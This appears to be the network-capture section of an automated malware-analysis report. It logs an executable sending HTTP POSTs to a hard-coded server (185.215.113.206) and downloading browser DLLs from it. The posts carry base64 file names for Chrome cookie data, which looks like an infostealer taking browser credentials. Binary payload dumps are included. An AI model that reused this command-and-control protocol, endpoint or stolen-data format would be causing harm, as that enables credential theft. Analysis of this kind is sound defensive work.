Nov 15, 2024 16:16:09.039659023 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 15, 2024 16:16:09.039712906 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Nov 15, 2024 16:16:09.039746046 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:16:17.239434004 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EBGIDGCAFCBKECAAKJJK--
Nov 15, 2024 16:16:18.685545921 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:18.866071939 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file"------IIIECAAKECFHIECBKJDH--
Nov 15, 2024 16:16:19.675503969 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49759	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:16:25.167282104 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIDBGDAFHJDHIDGDGII Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:16:25.167301893 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 44 42 47 44 41 46 48 4a 44 48 49 44 47 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 Data Ascii: ------GIIDBGDAFHJDHIDGDGIIContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------GIIDBGDAFHJDHIDGDGIIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 15, 2024 16:16:26.567862988 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:26.794152021 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="file"------JEHJKJEBGHJJKEBGIECA--
Nov 15, 2024 16:16:27.565968990 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:28.395538092 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:28.678359985 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 15, 2024 16:16:28.678395987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 15, 2024 16:16:28.678464890 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 15, 2024 16:16:28.678499937 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 15, 2024 16:16:28.678533077 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 15, 2024 16:16:28.678565025 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 15, 2024 16:16:28.678617954 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 15, 2024 16:16:28.678672075 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 15, 2024 16:16:28.678708076 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 15, 2024 16:16:28.678740025 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 15, 2024 16:16:29.630595922 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:29.908005953 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 15, 2024 16:16:30.260282993 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:30.537736893 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 15, 2024 16:16:30.857062101 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:31.134326935 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 15, 2024 16:16:32.243288040 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:32.521217108 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 15, 2024 16:16:32.731991053 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 15, 2024 16:16:33.010150909 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 